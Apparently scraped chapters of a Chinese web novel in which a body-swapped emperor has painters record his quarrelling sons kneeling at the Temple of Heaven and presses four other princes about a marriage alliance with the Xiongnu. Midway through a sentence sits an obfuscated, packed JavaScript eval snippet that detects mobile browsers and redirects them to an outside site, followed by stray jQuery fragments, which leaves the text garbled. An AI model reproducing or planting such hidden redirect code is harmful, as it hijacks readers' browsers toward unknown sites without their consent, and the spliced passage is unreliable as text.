发现梁王跟鲁王跪得还好的,赵王诧异。老大跟老二怎么突然跪得这么老实?莫不是宫里来人了? 这般思索着,赵王艰难地翻了个身,面色痛苦地望向门口。然后看到了万秉德! 注意到万秉德身旁有个年轻人一会儿抬头盯着里边,一会儿低头书写,模样十分忙碌。赵王感觉不妙,但是事已至此,只能顺势痛苦地喊道:“万少监!本王方才被鲁王踹下台阶,又遭秦王殴打!太疼了!” 鲁王一听赵王跟万秉德告状,这事虽然是事实但是可不能认! 他激动地出声反驳道:“胡说!分明是他自己站不稳摔下台阶的!与我何干!老三,你休要讹我!” “就是你将我踹下台阶的!还妄图狡辩!二哥认无耻第二,天下无人敢认第一!万少监尽可询问方才那些目睹情况的禁军!本王所言绝对属实!” 万秉德来了,赵王立马有了告状的渠道,非要把这件事捅到皇帝面前! 鲁王气得想要将狗屎塞到赵王的嘴里堵住对方的嘴! 面对这种情况,他只能把水搅浑,指着梁王说道:“是大哥让我干的!” 梁王:!!! 我去你祖宗的! 老三不是东西! 老二更不是东西! 梁王面色阴沉地怒斥鲁王:“二弟!你住口!休得陷害我!身为大哥!平日里我对你们这些弟弟一而再的照顾!怎么可能会撺掇你干出这等兄弟相残的事情!” 鲁王跟梁王撕起来:“明明就是大哥让我踹老三!踹倒老三后我就后悔了!可你还要逼着我过去补几脚!我不愿意,你就将我推开!这一切,禁军都看在眼中!你莫要否认!” 在坑梁王这方面,赵王跟鲁王坏得很默契。 赵王接着鲁王的话,大声说道:“大哥推了五弟!害得五弟昏迷不醒!这可是我亲眼所见!万少监,你可以问问他!他也瞧见了!” 说话的时候,赵王手指向左天坛尉。 左天坛尉真想戳瞎自己的双眼,不想得罪梁王,他只能面色惶恐地回应道:“下、下官并、并未看清楚……” 梁王一脸命苦地向万秉德解释:“本王冤枉!老二老三明显是恶意陷害本王!” 左少监迈开脚步走进天坛里,对门口的画师招手,示意对方进来。 画师手忙脚乱地停下笔,拿着东西跟随万秉德弯着腰走进天坛里。 鲁王、梁王都都看清楚了,跟随在万秉德身后的那个手里拿着的是一副半成品画作!画得就是他们方才的状态! 两人吓得头冒冷汗,心里一片惶恐。 万秉德来到梁王面前,先是查看了秦王的状况,询问那两名御医:“秦王如何?” 御医低着头小声回答道:“秦王殿下饥饿过度,急火攻心,昏了过去,并无大碍。” 万秉德指着秦王,示意画师画下来。 画师以最快速度,三五下潦草的将半幅作品勾勒完成。赶紧进行下一幅作品的写实。 见状,赵王也有些怕了。忍不住询问万秉德:“万少监,这是何意?” 万秉德弯下腰,向这三位皇子行礼,开口言道:“奴婢奉陛下之命,特来关怀几位殿下。” 梁王:…… 鲁王:…… 赵王:…… 关个屁怀!这不就是监视他们吗! 犹豫了一下,赵王面色不自然地指着秦王说道:“万少监,五弟他、他先前行径有些反常。拿着刀要自尽……” 他向借由这个话题,试探万秉德知不知道秦王为什么会这般反常。 梁王也觉得该谈谈秦王发疯这个话题! 本来他们三个跪得好好的!秦王来了之后就乱套了! 于是,梁王也出声言道:“许久未见,五弟变化的确很大。仿佛变了个人似的,与从前大不相同。” 鲁王见他们都把重点放在秦王身上,只能配合着说道:“对!老五像疯了似的!目无尊长,竟敢对哥哥们动手!” “三位殿下的意思,奴婢都晓得了。”万秉德轻轻颔首,转头叮嘱画师,“好好画。” 说话的同时,万秉德迈开脚步往外走,同时对两名天坛尉招手。 两名天坛尉忐忑不安地跟在万秉德的身后走到外面。 天坛里,梁王、鲁王、赵王的目光徘徊在屋里屋外的画师之间。他们都没想到父皇竟然会用这种手段监视他们的言行!这样一来,他们哪里还敢扯谎狡辩! 赵王咽了咽口水,腰部疼得这么厉害,跪肯定是跪不了了。他对现场的这两名御医不放心,总觉得这两个是梁王的人,怕是要暗害自己。 等万秉德再次回来,赵王出声说道:“万少监!本王腰伤了!疼得厉害!这两个庸医本王不相信他们的医术,能否再安排其他御医过来医治本王?” 万秉德注视着那两名御医,让两名御医又气又怕,只能在信里暗骂赵王。 赵王提的这个要求在情理之中,万秉德开口道:“奴婢这就安排太医院换人当值,这几日辛苦二位御医了。” 两位御医硬挤出难看的笑容,低声说道:“此乃吾等的职责所在……” 万秉德找了个位置站着,没再说话。 刚才的试探,万秉德并没有正面回应。赵王实在是疼得难受,也没心思继续打探了,索性闭着眼睛眯一会儿。 梁王跟鲁王跪得笔直,听着笔落纸上的勾勒声,这种感觉就跟刀子跟他们的脑袋擦肩而过似的,让人汗流浃背,毛骨悚然,胆战心惊。 屋里无人说话,只有浅浅的呼吸声,还有作画时发出的些许动静。 22.第 22 章 第二十二章聊一聊 静王等人入宫的时候,心情十分沉重。 魏王甚至没心思跟其他人搭话了。 四个人心里暗暗猜测皇帝召见他们,怕还是与和亲有关。 现在人人自保,谁都不想成为那个被送去草原和亲的弃子。 “静王殿下、燕王殿下、韩王殿下、魏王殿下,请!” 曹望向他们行礼之后,领着他们进去见皇帝。 “儿臣参见父皇!父皇万福金安!” 四人同手同脚同时开口恭恭敬敬的向皇帝行礼。 周安之抬起头,对他们说道:“都抬起头来!” 静王等人深吸了一口气,缓缓抬起头,一脸小心翼翼地打量着父皇的脸色。 这老不死的心情似乎不错? 周安之声音平静地说道:“你们一定很想知道老大他们的情况吧!” 静王:…… 燕王:…… 韩王:…… 魏王:…… 陷阱!这话里有坑啊! 要是他们点头,怕是立马会被老不死的送去天坛那边跪着! 若是他们漠不关心,迎接他们的必然是劈头盖脸的一顿谩骂! 见他们不吭声,周安之挑了挑眉,讥讽道:“怎么?一个个都哑巴了?” 四人默契的闭口不言,并且同时低下头,不敢面对父皇的眼神。 说不说都是错!就知道老不死的叫他们过来绝对是没安好心! 周安之将小漫画交给曹望:“给他们瞧瞧。” 曹望拿着这些画作走到静王等人的面前,分着发给他们。 静王伸手接画作的时候心里是疑惑。 燕王同样疑惑父皇要给他们看什么。 韩王还以为是他们的个人画像,发现不是大头画像松了口气。 魏王觉得这些画作应该跟和亲有关,祈祷自己千万不要沾边! 等他们仔细看了画作,猛地反应过来画的是什么内容后,四人脸色同时大惊! 静王:!!! 燕王:!!! 韩王:!!! 魏王:!!! 这画的内容是天坛里的情况! 父皇也太绝了! 不单安排禁军看守老大他们,还要用这种手段威慑他们! 试想,跪在那里几天已经够痛苦了!还要被人画下来,老大老二老三他们承受的压力该有多大啊! 四人觉得毛骨悚然,父皇能用这种手段监视威慑老大等人,必然也能用同样的方式监视威慑他们几个! 太可怕了!老不死的真是丧心病狂! 静王跟燕王暗暗交换了一下眼神,两人的眼睛里俱是恐惧的神色。 韩王脸色发白,咬住了牙关。 魏王的手指微微发抖,抿紧嘴唇。 “画得可好?” 周安之微微一笑,视线扫过这四个皇子。 其实吧,他一开始只是图个乐子,才让万秉德带着画师过去记录那边的情况。 现在看到静王等人如此畏惧,周安之觉得这个手段挺阴挺损挺吓人的! 当了皇帝之后,他往变态的道路上发展得越来越远,周安之能感觉到自己的心肝越来越黑了。 静王等人僵着脸,不敢作声。 这个老不死的将他们叫过来,把画作给他们看,无疑是在警告恐吓他们! 见他们吓得够呛,周安之缓缓起身。 曹望狗腿地凑上前伸出手要搀扶皇帝。 周安之避开了他的手,直接走到静王等人的面前。 感觉到一股危险在逼近,犹如阴气袭来,静王等人吓得屏住了呼吸,头埋得低低的。 停下脚步,周安之开口说话:“秦王回京了。” 静王:…… 燕王:…… 韩王:…… 魏王:…… 他们在第一时间就收到了秦王回京且擅闯皇宫的消息。 现在父皇当面提起这件事,是试探?还是警告? 可千万不能让父皇知道他们已经知道老五回来这件事!要不然父皇必定要彻查是如何走漏风声的!到时候可就麻烦了! “抬头!” 周安之见他们在装鸵鸟,加重说话的语气。 静王、燕王、韩王、魏王面色惶恐地抬起头。他们眼神躲闪,根本不敢正视面前那双犀利阴沉的眼睛。 “秦王回来,你们的那点心思都活跃起来了。” 皇宫的墙无论修得多高都是透风的。 周安之得先发制人,保下秦王。防止三股皇子势力背后的官员以‘无诏入京’与‘擅闯皇宫’逼着他处置秦王。 静王跟燕王反应很快,两人装作惊讶的模样,诧异地说道:“五、五弟回京了?” 见他们装傻,韩王与魏王也跟着装傻:“父皇、五弟何时回来的?” 魏王说话的时候,还装模作样地左顾右盼找人。似乎秦王就藏在寝殿里。 周安之警告他们:“要装傻,就装到底。别让朕逮到收拾你们的机会!” 他们的反应在周安之的意料之中,他要的就是这个反应。 只要这四位皇子装傻,装作不知道秦王回京,就是封住了他们的口。封住了静王等人的口,就相当于堵住了其他官员的嘴!让其他人无法在朝堂上提起此事! 魏王暗暗咽了咽口水。 得知秦王回来后,他还真想利用秦王无诏入京且擅闯皇宫的事情做文章。现在一切念头都烟消云散了。 周安之的视线扫过这四张脸,表情嫌弃地言道:“还是老五长得好。” 静王:…… 燕王:…… 韩王:…… 魏王:…… 老东西既然觉得老五长得好看,咋不送老五那个花瓶去和亲? 魏王的眼皮下意识往上翻。 周安之眯着眼睛盯着他,问道:“老九,你眼睛抽了?” 魏王脸色惊恐,急忙摇头,支支吾吾地回应道:“儿臣、儿臣的眼睛有点痒……” “要不要朕给你挠挠?”周安之朝他伸出手。 这可把魏王吓得魂都要飞走了,双手飞快地捂着脸,身子条件性的后退了两步。 一旁的韩王、燕王、静王见魏王成了显眼包,三人心里暗乐。 “过来!”周安之皱着眉头。 魏王那副模样都要哭了,颤颤巍巍地逼着自己往前走了两步,回到原来站的位置。 周安之继续伸出手,摸了摸他的眉眼。 这双眼睛里的恐惧根本掩藏不住,就如同待宰的鸡鸭。 周安之忽然觉得没劲儿,把手放下。 从小到大,父皇老登每次面对他们的时候,看到儿子对老子的恐惧,难道就不觉得难受吗? 依照皇帝的变态思想,周安之觉得父皇老登应当是很享受的吧?只有别人惧怕自己,这个皇位才能坐得安稳。 心里突然有些烦躁,周安之放轻声音对魏王言道:“朕是你爹,又不是洪水猛兽,你怕什么?” 魏王愣住了,眼睛里的恐惧渐渐消失,变成了茫然。 静王、燕王、韩王目光惊讶地看着他们。 三人不明白父皇为何忽然对老九说起了这么温情的话。 周安之叹了口气,后退一步,面对这四张面孔,低声言道:“朕与你们是父子,父子当同心保家卫国。手心手背都是肉,将你们任何一个送去和亲,朕都会心里难受。” 静王:…… 燕王:…… 韩王:…… 魏王:…… 来了来了!感情牌来了! 四人心中敲响了警钟,枕戈待旦。 周安之继续说下去:“历来女子比男子更难以生存。你们身为男儿,生存能力自是比公主要强。朕相信你们当中无论谁去和亲,都能独当一面。” 四人沉默不语,不敢反驳,只能在心里破口大骂老东西。 周安之打量着他们的面色,知道他们不情愿。转头吩咐曹望:“赐座。你出去。” 曹望赶紧搬来椅子,悄无声息的退下。 “现在就剩下我们父子了,朕跟你们敞开心扉的聊一聊。”周安之示意他们坐下。 静王等人压根不敢动。 在皇帝坐下后,他们才磨磨蹭蹭地坐下来。 周安之告诉他们:“此番和亲,除了金银珠宝,锦衣布匹,牛马粮食,朕另外给五千男丁作为陪嫁。” 静王:!!! 燕王:!!! 韩王:!!! 魏王:!!! 真的假的!五千男丁!这不就是五千兵力吗! 有五千兵力,到哪都不用被欺负! 这哪是去和亲!这是去征服匈奴! 四人心里骚动起来。难道皇子和亲真的是征服匈奴的大计? 静王面色犹豫,小声开口说话:“父皇,皇子和亲怕是会让匈奴警觉,尤其是携带五千男丁出嫁,匈奴那边多半会拒绝……” “他们若是拒绝大月皇子和亲,两国和亲便作罢!”周安之一副无所谓的模样。 燕王跟静王对视一眼,低声言道:“父皇,若是和亲不成,只怕两国会交战。” 韩王一脸担忧地出声说道:“大月休养生息二十年,才得以喘息。若是此时交战,大月上下又要吃紧了。” 魏王低着头,没有吭声说话。 周安之看向他,点名问道:“老九,你是何看法?” 魏王:…… 只要别送他去和亲,爱咋地咋地! 同时被几双眼睛盯着,不说两句也不合适。 魏王慢吞吞地说道:“儿臣愚钝,一切听从父皇做主。” 周安之嗤笑一声,言道:“既然如此,那就别选了,直接让你去和亲吧” 魏王瞪大眼睛,急忙摇头拒绝:“父皇!儿臣容貌丑陋!您看这牙口!匈奴居次定是看不上我的!” 静王与燕王默默别开头,二人皆是一副鄙夷的神色。 韩王生怕魏王会把这桩差事推到自己身上,只能帮忙将话题掰扯回来,提醒道:“父皇,且不提和亲一事,当下的大月是否经得起一战,此为要事!” 周安之点头,面色正经地将自己的想法说出来:“这两年匈奴闹蝗灾,穷疯了,没吃的。要么和亲,要么打仗,只有两条路可选。公主和亲,那是羊入虎口,只能解决匈奴的一时温饱。他们依然不会满足,这仗迟早会打起来。” “大月若是不想打这一场仗,只能安排皇子和亲。让皇子以各种手段瓦解匈奴内部的团结,且为匈奴除蝗赈灾,带领他们耕种,为他们解决温饱。这般匈奴自然不会再惦记着占大月的便宜。此乃怀柔之策!” 前面四人听得特别认真,听到后面他们脸色怪异,只觉得荒唐! 哪有为敌国解决灾荒的!这不是把敌国养肥吗! 等匈奴强大起来,收拾大月岂不是跟收拾小鸡仔似的轻而易举! 周安之观察他们的神色,问道:“现下你们可明白朕的长远考虑?” 长远…… 是挺长远的!但是不靠谱啊! 四人目光复杂,根本不敢发表看法。 见他们默不作声,周安之皱着眉头说道:“朕都将心思跟你们道明白了,你们当中还是无人肯为国分忧?” 魏王下意识摇头。 韩王无声地低下头。 燕王别开头,咳嗽一声。 静王被皇帝盯着,面色不自然地说:“父皇,儿臣若是嫁过去,万一将匈奴居次克死,这怀柔之策岂不是作废了?” 周安之冷笑着回应他:“你若是有这么大的本事能克死人,朕直接让你给匈奴单于当男妃!” “噗——” 魏王笑出声后,赶紧捂住自己的嘴巴。 韩王也笑了,好在没有发出声音。 燕王生怕自己笑起来,暗暗掐了一把自己的肉。 唯恐这老不死的会真的将他送去给匈奴王当男妃,静王吓得脸色大变,跪下来求饶:“儿臣背负着克妻的名头,实在是担忧这命格会影响到父皇的大计!求父皇放过儿臣!” 毕竟是同一阵营的伙伴,燕王也怕静王会真的被送走,到时候梁王党少了一股助力,岂不是会被鲁王党碾压? 他颤颤巍巍地开口打圆场:“想必父皇是在说笑,哪有亲爹将儿子送去给异族老男人当男妾的……此事若是记入史册,岂不是遭千秋万世笑话……” 韩王眯着眼睛,觉得如果能把静王送走,梁王必然会损失一大助力! 没有片刻犹豫,他直接开口坑人:“七哥说的才是玩笑话吧!父皇九五之尊!是大月的天子!金口玉言,岂能当做笑料!” “父皇英明!若是四哥嫁过去能克死匈奴单于,岂不是为父皇解决了心头之患!” 魏王见韩王趁机落井下石,也试探地搬起一块大石头砸下水井里。 心里默默地将这一笔笔帐记上,静王用哭咽地声音哀求皇帝:“父皇!儿臣错矣!求父皇放过儿臣!莫要将儿臣方才的失言放在心上!” 作为秦王的时候,周安之挺乐见这几个兄弟撕逼争斗的。 可现在他当了皇帝,身份一换,从兄弟变成父子后。周安之忽然理解了父皇老登每次看到这几个儿子争吵时,那个脸色为何总是如此难看了。 不解决问题,净会吵架,生养了这么多儿子,却没一个听话省心的,搁谁不气啊! 周安之没耐心地指着他们骂起来:“你们这一个个,光吃粮食不干活!没一个肯为国分忧!为朕分忧!连小小的匈奴都不敢去闯!朕还能指望着你们治理大月的江山?你们还想坐上朕的皇位?不如吃泡热乎屎醒醒脑子!” 静王:…… 燕王:…… 韩王:…… 魏王:…… 他们在场的四个人,谁敢惦记着皇位啊! 惦记着皇位的那三个人都在天坛里跪着呢! 老东西真是气糊涂了,骂都骂错了人! 看到皇帝发火,燕王下意识跪下来,摆出惶恐的态度。 见状,韩王跟魏王也跟着跪下来。 周安之盯着这四个脑袋,觉得浑身气得难受,心慌头疼。 他本来是个慢性子的人,换了身子后这么容易暴躁生气,必然是因为这个身子肝火旺。 这么一想,周安之更心塞了! 周安之烦躁地对他们挥手:“滚滚滚!都给朕滚出去!” “儿臣告退!”静王等人以最快速度爬起来,离开寝殿。 曹望见他们出来了,对里边叫了一声:“陛下?” “进来!”周安之双手捂着头。 火气一上来,头就特别疼,他能清楚地感觉到血管在突突跳动,这破身子一定有高血压! 这么多年酒肉美色早就掏空了这具身子。 福,是父皇老登享受的!苦,是周安之承受的! 谁生的儿子谁来管!这一大堆烂摊子,就该让父皇老登自己收拾! 看到皇帝的面色这么难看,曹望低声询问:“陛下头疼犯了?奴婢给您揉一揉?” 李正喜告诉曹望,皇帝一发火就会头疼。这种时候必须要给皇帝按摩一下头部! “不必了!给朕倒杯茶!”周安之面色阴沉地坐下。 曹望用最快速度倒了一杯茶水,递给皇帝。 周安之压根没有仔细品尝,如牛饮水般喝完了一杯水,将水杯递给曹望:“再来一杯茶。” 曹望赶紧又续上一杯茶水。 两杯茶水下肚后,周安之终于恢复了冷静。出声对曹望言道:“秦王若是醒来,让他入宫见朕。” 曹望颔首:“遵旨!” 周安之倒在龙榻上,发现曹望还没走,皱着眉头说道:“你出去。” “奴婢告退……” 曹望弯着腰退出内室。 心想,李正喜教的也不尽然都是对的!皇帝的喜好,还得自己慢慢摸索! 月上枝头,到了山里野兽百虫活动的时间。 鲁王的眼皮快撑不住了,看到万秉德就跟石像似的杵在那里一动不动的盯着他们。屋里屋外的画师一直没有停笔,一幅又一幅不断地描绘他们的状态,他真是快要被当下的环境逼疯了! 看到梁王依然跪得笔直,鲁王只能逼着自己硬挺着。 秦王躺着休息也就罢了,听到赵王的鼾声,鲁王实在是忍受不了了。 他指着赵王对万秉德言道:“万少监!父皇口谕命我们兄弟三人在天坛跪七日七夜。如今第五夜,老三躺在这里睡觉,这算不算违抗皇命?” 梁王其实也想说赵王,但是他作为老大,若是主动开这个口,不符合长兄这个身份。只能一直憋着,让鲁王来提这件事。 终于等到鲁王出声,有人唱白脸,那他自然就能唱红脸了! 梁王转头劝说鲁王:“二弟,三弟腰部受了伤。并非他不愿意跪,而是他实在是跪不了。” 鲁王本来就处于一种高压紧绷的精神状态里,见梁王不帮忙一同指责赵王,反倒话里指责他不体贴。 顿时气笑了,鲁王冲梁王阴阳怪气地讥讽道:“大哥这是愧疚了吧?若非你让我踹老三,何至于让他伤了腰?现在知道心疼人了?那为何要逼着我对他动手?” 梁王被鲁王的倒打一耙气到了,怒斥道:“老二!休要诬陷我!” 赵王趴在地上睡得好好的,突然被吵醒,特别不高兴。 眼睛都没有睁开,他直接张嘴骂道:“混账!竟敢打扰本王休息!等本王睡醒了定要将你们的舌头拔了!剁碎了喂狗!” 梁王:…… 鲁王:…… 老三这个狗东西!绝对是故意的! 仗着腰疼趴在地上睡觉也就罢了!现在还故意装睡骂他们! 赵王还没醒来,躺在前面的秦王倒是悄无声息地睁开了眼睛。 万秉德关注到了,立刻上前关怀对方:“秦王殿下醒了?若有不适,奴婢为您传御医。” 梁王跟鲁王的注意立马从赵王身上转移到秦王身上。 看到秦王真的醒了,眼神阴沉沉的,还是一副不正常的状态。梁王心里有些不安。 老五该不会还要继续发疯吧? 鲁王这会儿也不困了,伸手去拽赵王的头发,让他醒来看看。 好不容易能睡一觉,一而再的被人打扰,赵王烦躁得想杀人! “我去你祖宗的龟犊子!扰本王休息者,死!” 一边骂一边睁开眼睛,赵王往头顶伸出手乱抓,企图要抓住那只打扰他睡觉的手。 鲁王早一步收回了手,一脸看好戏地表情望着秦王。 赵王乱动了一会儿,腰又开始疼了。面色痛苦地嚎叫起来:“哎哟!疼死我了!” 腰部的疼痛,让赵王的脑子彻底清醒了。 抬头环顾四周,发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225838|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现秦王也醒了,他当即对秦王说道:“老五!你可算是醒了!先前看到大哥将你推倒,我甚是担忧!唯恐你会被他弄死!看到你没事,我可算是放心了!” 梁王:!!! 老三这张狗嘴,必须得找机会打掉对方几颗牙齿! 当着万秉德的面,梁王不想与赵王争执。 只能无视赵王的声音,一脸关切地看着秦王,他轻声问道:“老五,御医说你饥饿过头才会昏厥。既然醒了,先用膳吧?” 万秉德冲外面喊道:“秦王殿下醒了!传膳!” 比起赵王,一身伤的秦王看起来更可怜。万秉德当然得优先照顾弱者。 赵王见梁王不接招,直接无视他去假惺惺的关怀秦王,顿时不满地讥讽道:“大哥这会儿倒是心疼老五了?也不知道这副关怀的模样装给谁看!老五,你可千万别被他这副仁慈的模样骗到了!大哥向来虚伪爱装。” 梁王:…… 拳头硬了,好想打碎老三的门牙,拔掉对方的舌头! “老五,你千万别误会!大哥一定是失手才将你推倒的!他绝对不是故意害你的!大哥向来厚待我们这些弟弟,过去你没饭吃没钱花的时候找他帮忙?他可有帮你?” 鲁王也盼着秦王继续闹起来折腾梁王,跟赵王配合起来,两人一唱一和地挤兑起梁王。 周瑜然刚醒来,发现一切还是没变。 他的灵魂还困在秦王的身体里,依然待在天坛,不得自由。身体软绵绵的,根本使不上力气。 再一看这三个逆子又吵起来了,周瑜然真想赐三杯毒酒把他们毒哑了! 目光阴鸷的扫向他们,周瑜然咬着牙斥道:“闭嘴!” 这一回,梁王、鲁王、赵王默契的闭上了嘴。 三人都能看出秦王的状态依然不正常! 虽然鲁王跟赵王憋着坏想要让秦王动手殴打梁王。但是两人都明白,疯子发疯起来可是不管不顾的! 就怕偷鸡不成蚀把米!万一秦王发疯起来没对梁王动手,反倒冲他们两人动手,那可就得不偿失了! 宫人端着一碗清粥进来,蹲下身子递到秦王的面前。 万秉德伸手接过来,轻声对秦王言道:“秦王殿下饿了太久,御医说不可突然进食油腻之物,恐会腹痛。您先喝一碗清粥暖暖胃。” 周瑜然黑着脸,根本看不上一碗清粥。可是身体却很诚实,闻到米香味嘴巴就开始馋了。 等他的大脑转过弯的时候,一口粥已经到了嘴里。身体很诚实地大口吞咽,快速将这碗粥喝完了。 周瑜然觉得很丢脸,自己好歹是九五之尊,山珍海味吃了几十年,没想到有朝一日竟然会狼吞虎咽地喝一碗清粥! 这跟路边的乞丐有何区别!他觉得都怪这具身子! 怪老五那个孽障!一定是老五那个孽障往日没有吃过什么好东西,才会满足于一碗清粥! 想到刚才鲁王所言,周瑜然视线阴森地扫过梁王、鲁王、赵王。 梁王一对上秦王的眼神就感到不安,生怕这厮突然发疯冲他动手。 他面色不自然的对万秉德说道:“万少监,五弟想必是没有吃够,再给他上一碗清粥。不,多上两碗清粥!” 梁王的话,在周瑜然听来有些刺耳。 难道在其他兄弟眼中,老五只配喝粥? 周瑜然从来不会过问儿女的吃喝冷暖。作为天家子女,难不成还能饿着他们? 可方才鲁王提起秦王过去没饭吃没钱花就会找兄弟乞讨,此话就像一根刺扎进了周瑜然的心里。 周瑜然自然不是心疼秦王,而是生气陈皇后没有管理好后宫! 哪怕老五不受宠,那也是他的血脉!是大月的皇子! 陈皇后管理后宫,竟然还让堂堂皇子饿着饿肚子没饭吃! 除了生气陈皇后失责,周瑜然还生气梁王等人的冷漠无情! 若是不知道老五饿肚子也就罢了!老五都舔着脸求到哥哥们的面前,作为手足,这群混账竟然只看老五的笑话,却没人施以援手,给老五一份温饱! 老大、老二、老三都在争夺储君之位!连一个兄弟的温饱都置之不理,如此冷血无情,还指望他们其中一人继承大统之后会善待其他手足? 万秉德就蹲在秦王身旁,早就察觉到了秦王的情绪不对劲。 手捧着空碗,他低声询问道:“秦王殿下歇息片刻再继续用膳?” 一碗清粥下肚,周瑜然已经感觉到身体的力量在慢慢恢复。 手撑着万秉德的肩头,拿对方的身子当扶手,他缓缓站起来。 梁王:…… 这眼神实在是让人心里发毛! 老五不会还要继续发疯打人吧! 看到秦王的眼神,鲁王跟赵王此时只有一个念头:反正老大离得近,老五要打也是先打老大! 但是一想到秦王可能打完梁王,接下来就是揍他们。鲁王绷不住了,站是站不起来的,只能往赵王后面爬去。想着让赵王替他挡一会儿。 赵王一眼就看出了鲁王的小心思,瞪了对方一眼,哪怕腰疼得要死,也得调整身子调头往门口爬去。就怕自己落在了鲁王身后! 梁王听到身后的动静,见这两个没良心的东西要丢下他逃离,心里暗骂一声。 当着万秉德的面,梁王强作镇定地呵斥他们:“老二!老三!你们要去哪!父皇令我等跪在这里,你们莫不是要违抗圣意!” 万秉德也被鲁王跟赵王的反应弄懵了,不知道这两人为何突然往外爬。 正准备开口询问,未料,身旁的人比他先一步开口。 “违抗圣意者死!谁敢踏出这道门,我就打死谁!” 从小到大,所有儿女在周瑜然面前都是老实乖巧的模样!现在换了个身体,变成秦王之后,看到了他们的另一面。周瑜然恨不得将他们塞回娘胎里打掉! 即将摸到门槛的鲁王听到这话,手僵住了,迟迟不敢落到门槛上。 以老五目前的精神状态,多半会说到做到! 鲁王不敢有下一步动作,唯恐自己会被秦王打死。 赵王腰疼,哪怕使尽全力爬行的速度也追不上鲁王。 见鲁王停下来,哪怕听到了秦王的话,他犹豫了一下,还是继续往前爬了几步,坚持要跟鲁王处在同一水平线上。 “你们还不快回来!” 梁王看到他们不敢出去了,踉踉跄跄地撑着身子欲要起身。 想要借口将他们拉回来,自己顺势走到他们身旁,跟他们待在一起。 可惜双腿麻木无力,根本站不住,梁王瞬间跌坐在地上。 “滚回来!给我跪好!” 周瑜然看到他们这几个不成器的样子,心里的火气烧得更旺了。 梁王没有犹豫,爬起来回到原位跪好。 鲁王跟赵王回头看到梁王这个软骨头跪好了,二人心里都瞧不起梁王的窝囊。 梁王用最温柔的语气,望着秦王说道:“老五,你别跟他们置气。他们或许是跪太久了,想出去透透气。” 鲁王跟赵王被梁王恶心到了,鲁王张嘴反驳道:“大哥胡说什么!我走不动道,只能爬出去叫人传膳!老五饿了这么久,一碗清粥怎能饱腹!” 赵王顺势说道:“对对对!我也是想叫人传膳!多拿点吃的给老五吃!从小到大,兄弟当中只有我对老五最为照顾!以往老五饿肚子,没钱花的时候,你们都不管他。唯有我给他吃喝,给他银子花?老五,我对你的好,你不能不记得吧?” 周瑜然阴着脸盯着梁王看了一会儿,视线转移到鲁王身上,目光最后落在赵王的脸上。 “咳咳——”站在左边窗户的画师突然咳嗽了两声。 周瑜然寻声看去,发现窗外站着人。再一看另一边窗外也站着人! 重新环顾屋内的环境,发现身后站着一个人拿着纸笔在忙忙碌碌。 他转身走到对方身旁,看清楚对方在画画!画作的内容就是屋内正在发生的事情! 周瑜然脸色微变,冷声问道:“谁让你画的!” 梁王、鲁王、赵王生怕秦王会对他们动手,看到秦王的关注点转移了,此刻紧绷的心弦忽然松开了! 三人默契十足,想法一致。 他们盼着秦王能冲画师发疯!最好撕了画师的画作!再把画师狂揍一顿!将这些画师打跑! 画师面色愕然,张着嘴巴吐不出声音。 双手比嘴巴反应更快,他指着万秉德,作为回答。 周瑜然阴着脸盯着万秉德。 双手试图攥成拳头,怒火一触即发。奈何手心有伤口,还包裹着布,根本握不了拳头。 不用猜也知道这是谁的意思! 老五那个孽障!胆敢安排画师,用画画这种方式监视他们! 好啊!真是青出于蓝而胜于蓝!狗窝里生出了狼崽子! 万秉德看出秦王的怒意,淡定地回答道:“秦王殿下,这是陛下的意思。陛下还派人过来传话,若是您醒来,宣您进宫。当下深夜,不如等明日天亮后再入宫面圣?” 周瑜然面无表情,忽然伸出手抢走画师手中的笔,将毛笔折断。 “啊!” 画师一脸惊恐,被吓到了,往后退了几步。 周瑜然抓起这张完成得七七八八的画作,狠狠撕碎。 秦王的举动把万秉德惊到了。 他赶紧上前劝阻:“请秦王殿下停手!这些都是陛下要的东西!万不可撕毁!” 23.第 23 章 第二十三章蓄谋已久 “秦王殿下!奴婢求您莫要再撕了!” 万秉德试图拉住秦王,奈何被对方甩开了! 眼瞅着秦王往外跑,万秉德赶紧追出去。 屋外的画师将屋里的情况看在眼里,一个个恨不得双手双脚同时握笔速写。 看到秦王跑出来了,他们一脸戒备,顾不得收拾笔墨,赶紧收起画稿转身就跑! “站住!我要杀了你们!” 这个废物身子刚跑了几步就头晕头转的,看到这些画师都跑了,周瑜然除了怒吼威慑,根本奈何不了他们。 “你!还有你!你们几个还不快过来搀扶着秦王,请秦王回去休息!” 万秉德可不能任由秦王发疯下去撕毁了所有画稿。赶紧命令宫人拽着秦王回屋。 赵王、鲁王刚把头探出屋外,期待着秦王能上演精彩的戏码,谁知秦王这么快就被人拿下了! 鲁王快速缩回脑袋,赵王动作慢了一步被胡乱踢脚的秦王一脚踢到了脸上! “老五!你个混账!” 赵王感觉自己的鼻梁都要断了!有泥飞溅进眼珠了,根本睁不开眼! 见状,鲁王跟梁王忍不住偷笑了一下。 “尔等贱婢放肆!再不松手,本王定要砍了你们的脑袋!” 周瑜然发现自己连几个宫人都对付不了,还被这几个宫人轻松的架起来,练了这么多年的武艺根本施展不出来! 这是什么破身子!破身子! 周安之身上好歹流着一半的霍家血!怎么能废物到这种程度! 万秉德示意画师捡起东西,出去外面待着。让宫人将秦王放回原来休息的位置。 他压低声音提醒秦王:“秦王殿下,天亮之后奴婢便领着您入宫觐见陛下。若是您今夜一定要闹出动静,传到陛下耳中,也不知明日是否还能见到陛下。” 好啊!万秉德这个阉货都敢威胁他了! 周瑜然眼神阴鸷地盯着对方。心里已经想好了该如何处死万秉德。 深吸一口气,周瑜然恢复冷静,质问万秉德:“口谕里可有说本王要等到天亮才能入宫?” 万秉德无奈地言道:“秦王殿下,您今夜不休息,陛下是要休息的。” 周瑜然扯了扯嘴角,面色阴恻恻的。 老五那个孽障让他遭受了这么多难堪的经历,休想睡觉! 他冷眼盯着万秉德威胁道:“本王已醒,你若是阻拦本王入宫,那便是违抗圣上口谕!” 万秉德:…… 